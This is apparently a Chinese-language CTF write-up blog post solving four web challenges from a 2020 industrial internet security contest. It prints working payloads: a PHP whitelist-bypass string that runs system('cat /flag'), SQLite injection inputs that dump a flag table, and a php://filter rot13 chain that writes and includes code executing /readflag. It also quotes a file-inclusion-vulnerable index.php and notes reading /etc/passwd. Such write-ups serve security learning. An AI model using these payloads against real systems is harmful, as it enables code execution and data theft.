MENU

[2020护网杯]全国工业互联网安全技术技能大赛学生组 wp

October 26, 2020 • Read: 389 • CTF

0x01.签到

查看源码,有个game.js,搜索flag
1.png

0x02.SimpleCalculator

题目是个计算器,FUZZ了一下,发现可以输入数字,可以使用指定函数,猜测白名单,可以输出汉字,所以可以输出字符串,但是不能输入字母,猜测源码有正则waf

发现buu有类似的题,利用白名单的数学函数将数字转成字符串,构造payload

2.png

本以为需要编码绕过,后来发现想多了 = =。

Payload:
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

0x03.SQLManager

目录扫描扫出了.index.php.swp
3.png

开始以为是prepare配合execute进行getshell,后来实在不会做了,根据上一题的经验,去搜了搜原题,果然搜到了[Zer0pts2020]phpNantokaAdmin,根据大佬的wp构造payload:

table_name=aaa as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=2

创建表获得table_name和column_name为flag_Y0U_c4nt_GUESS和flag_ThE_C0lumn
删除表后利用payload创建:

table_name=aaa as select flag_ThE_C0lumn as[&columns[0][name]=]from flag_Y0U_c4nt_GUESS;&columns[0][type]=2

4.png
然后访问index.php获取flag

0x04.Easyphp

常规的文件包含,得到index.php
5.png

<?php
error_reporting(0);
$page = isset($_GET['page']) ? $_GET['page'] : 'main.html';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    header('location:index.php?page=main.html');
}
// You may want to see 7fa3b767c460b54a2be4d49030b349c7.php
?>
<body>
    <?php include $page; ?>
</body>

通过page进行的文件包含,根据提示查看7fa3b767c460b54a2be4d49030b349c7.php
6.png

代码审计,主要通过file_put_contents创建文件,然后包含执行。
但是exit()会终止php,折腾了一阵,发现WMctf出过类似的题,但是这里的waf都过滤完了。

可以读取/etc/passwd,直接读取/flag,没有显示猜测没有权限,读取/readflag
7.png

后来想到了index.php可以进行文件包含,构造payload:

http://eci-2zeg6s1mdpn74id102kk.cloudeci1.ichunqiu.com/7fa3b767c460b54a2be4d49030b349c7.php?content=php://filter/?><?cuc flfgrz("/ernqsynt");?>/resource=l1ch.php
http://eci-2zeg6s1mdpn74id102kk.cloudeci1.ichunqiu.com/index.php?page=php://filter/string.rot13/resource=/var/www/html/sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/l1ch.php

8.png

Last Modified: November 27, 2020